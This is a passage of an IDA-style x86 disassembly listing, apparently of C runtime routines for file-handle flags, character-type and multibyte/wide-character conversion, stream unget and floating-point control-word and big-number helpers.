		push	eax
		call	sub_420BDF
		pop	ecx


loc_424435:				; CODE XREF: sub_42425E+197j
		mov	eax, edi
		jmp	loc_424512
; ---------------------------------------------------------------------------


loc_42443C:				; CODE XREF: sub_42425E+1C1j
		cmp	eax, 2
		jnz	short loc_424447
		or	[ebp+var_1], 40h
		jmp	short loc_424450
; ---------------------------------------------------------------------------


loc_424447:				; CODE XREF: sub_42425E+1E1j
		cmp	eax, 3
		jnz	short loc_424450
		or	[ebp+var_1], 8


loc_424450:				; CODE XREF: sub_42425E+1E7j
					; sub_42425E+1ECj
		push	esi
		push	ebx
		call	sub_424095
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DE360h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244F9
		test	al, 80h
		jz	short loc_4244F9
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244F9
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422FE4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_4244AE
		cmp	dword_4DE030, 83h
		jz	short loc_4244F9
		jmp	short loc_4244ED
; ---------------------------------------------------------------------------


loc_4244AE:				; CODE XREF: sub_42425E+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F91C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244DB
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244DB
		push	[ebp+var_10]
		push	ebx
		call	sub_42573A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244ED


loc_4244DB:				; CODE XREF: sub_42425E+265j
					; sub_42425E+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422FE4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244F9


loc_4244ED:				; CODE XREF: sub_42425E+24Ej
					; sub_42425E+27Bj
		push	ebx
		call	sub_41E272
		pop	ecx


loc_4244F4:				; CODE XREF: sub_42425E+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_424512
; ---------------------------------------------------------------------------


loc_4244F9:				; CODE XREF: sub_42425E+221j
					; sub_42425E+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_424510
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_424510
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_424510:				; CODE XREF: sub_42425E+29Fj
					; sub_42425E+2A5j
		mov	eax, ebx


loc_424512:				; CODE XREF: sub_42425E+1D9j
					; sub_42425E+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42425E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424517	proc near		; CODE XREF: sub_41FD15+5Ep
					; sub_4208E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428C58
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DE220
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424586
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_428948
		push	esi
		call	dword_428020	; GetStringTypeW
		test	eax, eax
		jz	short loc_424564
		mov	eax, esi
		jmp	short loc_424581
; ---------------------------------------------------------------------------


loc_424564:				; CODE XREF: sub_424517+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CDB1C
		push	esi
		push	ebx
		call	dword_428024	; GetStringTypeA
		test	eax, eax
		jz	loc_42464C
		push	2
		pop	eax


loc_424581:				; CODE XREF: sub_424517+4Bj
		mov	dword_4DE220, eax


loc_424586:				; CODE XREF: sub_424517+2Fj
		cmp	eax, 2
		jnz	short loc_4245AF
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424597
		mov	eax, dword_4DE0EC


loc_424597:				; CODE XREF: sub_424517+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_428024	; GetStringTypeA
		jmp	loc_42464E
; ---------------------------------------------------------------------------


loc_4245AF:				; CODE XREF: sub_424517+72j
		cmp	eax, 1
		jnz	loc_42464C
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245C5
		mov	eax, dword_4DE0FC
		mov	[ebp+arg_10], eax


loc_4245C5:				; CODE XREF: sub_424517+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_428184	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_42464C
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2F0
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BD60
		add	esp, 0Ch
		jmp	short loc_42461B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_42461B:				; CODE XREF: sub_424517+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_42464C
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_428184	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_42464C
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_428020	; GetStringTypeW
		jmp	short loc_42464E
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_424517+61j
					; sub_424517+9Bj ...
		xor	eax, eax


loc_42464E:				; CODE XREF: sub_424517+93j
					; sub_424517+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424517	endp


; =============== S U B	R O U T	I N E =======================================



sub_424660	proc near		; CODE XREF: sub_41FD8A+61p
					; sub_420C46+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DE460
		jb	short loc_42466F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424660+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DE360[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_424660	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424686	proc near		; CODE XREF: sub_41FE9F+2D4p
					; sub_41FE9F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_424692
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424692:				; CODE XREF: sub_424686+8j
		cmp	dword_4DE0EC, 0
		jnz	short loc_4246AD
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246DF
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246AD:				; CODE XREF: sub_424686+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43F1F4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DE0FC
		call	dword_428180	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4246DF
		cmp	[ebp+arg_0], 0
		jz	short loc_4246EC


loc_4246DF:				; CODE XREF: sub_424686+1Ej
					; sub_424686+51j
		mov	dword_4DE02C, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246EC:				; CODE XREF: sub_424686+57j
		pop	ebp
		retn
sub_424686	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246EE	proc near		; CODE XREF: sub_420D10+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_424711
		cmp	[ebp+arg_8], ebx
		jz	short loc_424711
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_424717
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_424711
		mov	[eax], bx


loc_424711:				; CODE XREF: sub_4246EE+Cj
					; sub_4246EE+11j ...
		xor	eax, eax


loc_424713:				; CODE XREF: sub_4246EE+42j
					; sub_4246EE+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424717:				; CODE XREF: sub_4246EE+17j
		cmp	dword_4DE0EC, ebx
		jnz	short loc_424732
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42472D
		movzx	ax, al
		mov	[ecx], ax


loc_42472D:				; CODE XREF: sub_4246EE+36j
					; sub_4246EE+C0j
		push	1
		pop	eax
		jmp	short loc_424713
; ---------------------------------------------------------------------------


loc_424732:				; CODE XREF: sub_4246EE+2Fj
		mov	ecx, off_43EFE8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42478F
		mov	eax, dword_43F1F4
		cmp	eax, 1
		jle	short loc_424776
		cmp	[ebp+arg_8], eax
		jl	short loc_424780
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DE0FC
		call	dword_428184	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_43F1F4
		jnz	short loc_424713


loc_424776:				; CODE XREF: sub_4246EE+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_424780
		cmp	[esi+1], bl
		jnz	short loc_424713


loc_424780:				; CODE XREF: sub_4246EE+61j
					; sub_4246EE+8Bj ...
		mov	dword_4DE02C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_424713
; ---------------------------------------------------------------------------


loc_42478F:				; CODE XREF: sub_4246EE+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DE0FC
		call	dword_428184	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_42472D
		jmp	short loc_424780
sub_4246EE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247C0	proc near		; CODE XREF: sub_420D10+797p
					; sub_420D10+7E7p
		cmp	cl, 40h
		jnb	short loc_4247DA
		cmp	cl, 20h
		jnb	short loc_4247D0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247D0:				; CODE XREF: sub_4247C0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247DA:				; CODE XREF: sub_4247C0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247DF	proc near		; CODE XREF: sub_421786+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42482B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247FD
		test	al, 80h
		jz	short loc_42482B
		test	al, 2
		jnz	short loc_42482B


loc_4247FD:				; CODE XREF: sub_4247DF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_42480A
		push	esi
		call	sub_42421A
		pop	ecx


loc_42480A:				; CODE XREF: sub_4247DF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_42481A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42482B
		inc	eax
		mov	[esi], eax


loc_42481A:				; CODE XREF: sub_4247DF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424831
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424837
		inc	eax
		mov	[esi], eax


loc_42482B:				; CODE XREF: sub_4247DF+9j
					; sub_4247DF+18j ...
		or	eax, 0FFFFFFFFh


loc_42482E:				; CODE XREF: sub_4247DF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424831:				; CODE XREF: sub_4247DF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424837:				; CODE XREF: sub_4247DF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42482E
sub_4247DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42484D	proc near		; CODE XREF: sub_421D76+52p
		xor	eax, eax
		retn
sub_42484D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424850	proc near		; CODE XREF: sub_424885+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42489B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42492D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424850	endp


; =============== S U B	R O U T	I N E =======================================



sub_424885	proc near		; CODE XREF: sub_422062+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424850
		pop	ecx
		pop	ecx
		retn
sub_424885	endp


; =============== S U B	R O U T	I N E =======================================



sub_42489B	proc near		; CODE XREF: sub_424850+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4248AC
		push	10h
		pop	eax


loc_4248AC:				; CODE XREF: sub_42489B+Cj
		test	bl, 4
		jz	short loc_4248B3
		or	al, 8


loc_4248B3:				; CODE XREF: sub_42489B+14j
		test	bl, 8
		jz	short loc_4248BA
		or	al, 4


loc_4248BA:				; CODE XREF: sub_42489B+1Bj
		test	bl, 10h
		jz	short loc_4248C1
		or	al, 2


loc_4248C1:				; CODE XREF: sub_42489B+22j
		test	bl, 20h
		jz	short loc_4248C8
		or	al, 1


loc_4248C8:				; CODE XREF: sub_42489B+29j
		test	bl, 2
		jz	short loc_4248D2
		or	eax, 80000h


loc_4248D2:				; CODE XREF: sub_42489B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42490A
		cmp	edx, 400h
		jz	short loc_424907
		cmp	edx, 800h
		jz	short loc_424903
		cmp	edx, esi
		jnz	short loc_42490A
		or	eax, edi
		jmp	short loc_42490A
; ---------------------------------------------------------------------------


loc_424903:				; CODE XREF: sub_42489B+5Ej
		or	eax, ebp
		jmp	short loc_42490A
; ---------------------------------------------------------------------------


loc_424907:				; CODE XREF: sub_42489B+56j
		or	ah, 1


loc_42490A:				; CODE XREF: sub_42489B+4Ej
					; sub_42489B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42491A
		cmp	ecx, ebp
		jnz	short loc_42491F
		or	eax, 10000h
		jmp	short loc_42491F
; ---------------------------------------------------------------------------


loc_42491A:				; CODE XREF: sub_42489B+72j
		or	eax, 20000h


loc_42491F:				; CODE XREF: sub_42489B+76j
					; sub_42489B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42492C
		or	eax, 40000h

locret_42492C:				; CODE XREF: sub_42489B+8Aj
		retn
sub_42489B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42492D	proc near		; CODE XREF: sub_424850+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42493D
		push	1
		pop	eax


loc_42493D:				; CODE XREF: sub_42492D+Bj
		test	bl, 8
		jz	short loc_424944
		or	al, 4


loc_424944:				; CODE XREF: sub_42492D+13j
		test	bl, 4
		jz	short loc_42494B
		or	al, 8


loc_42494B:				; CODE XREF: sub_42492D+1Aj
		test	bl, 2
		jz	short loc_424952
		or	al, 10h


loc_424952:				; CODE XREF: sub_42492D+21j
		test	bl, 1
		jz	short loc_424959
		or	al, 20h


loc_424959:				; CODE XREF: sub_42492D+28j
		test	ebx, 80000h
		jz	short loc_424963
		or	al, 2


loc_424963:				; CODE XREF: sub_42492D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424990
		cmp	ecx, 100h
		jz	short loc_42498D
		cmp	ecx, esi
		jz	short loc_424988
		cmp	ecx, edx
		jnz	short loc_424990
		or	ah, 0Ch
		jmp	short loc_424990
; ---------------------------------------------------------------------------


loc_424988:				; CODE XREF: sub_42492D+50j
		or	ah, 8
		jmp	short loc_424990
; ---------------------------------------------------------------------------


loc_42498D:				; CODE XREF: sub_42492D+4Cj
		or	ah, 4


loc_424990:				; CODE XREF: sub_42492D+44j
					; sub_42492D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4249A6
		cmp	ecx, 10000h
		jnz	short loc_4249A8
		or	eax, esi
		jmp	short loc_4249A8
; ---------------------------------------------------------------------------


loc_4249A6:				; CODE XREF: sub_42492D+6Bj
		or	eax, edx


loc_4249A8:				; CODE XREF: sub_42492D+73j
					; sub_42492D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4249B5
		or	ah, 10h

locret_4249B5:				; CODE XREF: sub_42492D+83j
		retn
sub_42492D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249B6	proc near		; CODE XREF: sub_424A55+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249FB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249F6
		lea	eax, [eax+esi*4]


loc_4249E8:				; CODE XREF: sub_4249B6+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249FB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249E8


loc_4249F6:				; CODE XREF: sub_4249B6+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249FB:				; CODE XREF: sub_4249B6+27j
					; sub_4249B6+35j
		xor	eax, eax
		pop	esi
		retn
sub_4249B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249FF	proc near		; CODE XREF: sub_424A55+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425880
		add	esp, 0Ch
		dec	esi
		js	short loc_424A51
		lea	edi, [ebx+esi*4]


loc_424A38:				; CODE XREF: sub_4249FF+50j
		test	eax, eax
		jz	short loc_424A51
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425880
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A38


loc_424A51:				; CODE XREF: sub_4249FF+34j
					; sub_4249FF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A55	proc near		; CODE XREF: sub_424BB0+81p
					; sub_424BB0+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424AB9
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4249B6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424AB6
		push	edi
		push	[ebp+arg_0]
		call	sub_4249FF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424AB6:				; CODE XREF: sub_424A55+51j
		mov	eax, [ebp+arg_4]


loc_424AB9:				; CODE XREF: sub_424A55+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AD9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AD9:				; CODE XREF: sub_424A55+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A55	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE1	proc near		; CODE XREF: sub_424BB0+75p
					; sub_424BB0+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424AEF:				; CODE XREF: sub_424AE1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424AEF
		pop	esi
		retn
sub_424AE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AFC	proc near		; CODE XREF: sub_424BB0+5Fp
					; sub_424BB0+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424AFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424B08	proc near		; CODE XREF: sub_424BB0+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424B0E:				; CODE XREF: sub_424B08+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B20
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424B0E
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B20:				; CODE XREF: sub_424B08+9j
		xor	eax, eax
		retn
sub_424B08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B23	proc near		; CODE XREF: sub_424BB0+C0p
					; sub_424BB0+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B59:				; CODE XREF: sub_424B23+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B59
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B8B:				; CODE XREF: sub_424B23+86j
		cmp	ebx, edi
		jl	short loc_424B9E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424BA5
; ---------------------------------------------------------------------------


loc_424B9E:				; CODE XREF: sub_424B23+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424BA5:				; CODE XREF: sub_424B23+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B8B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BB0	proc near		; CODE XREF: sub_424D1C+Dp
					; sub_424D32+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424C1D
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424B08
		test	eax, eax
		pop	ecx
		jnz	loc_424CDC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AFC
		pop	ecx


loc_424C15:				; CODE XREF: sub_424BB0+E4j
		push	2


loc_424C17:				; CODE XREF: sub_424BB0+110j
		pop	eax
		jmp	loc_424CDE
; ---------------------------------------------------------------------------


loc_424C1D:				; CODE XREF: sub_424BB0+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AE1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A55
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C3E
		inc	ebx


loc_424C3E:				; CODE XREF: sub_424BB0+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C56
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AFC
		pop	ecx
		jmp	short loc_424C92
; ---------------------------------------------------------------------------


loc_424C56:				; CODE XREF: sub_424BB0+98j
		cmp	ebx, eax
		jg	short loc_424C99
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AE1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B23
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A55
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B23
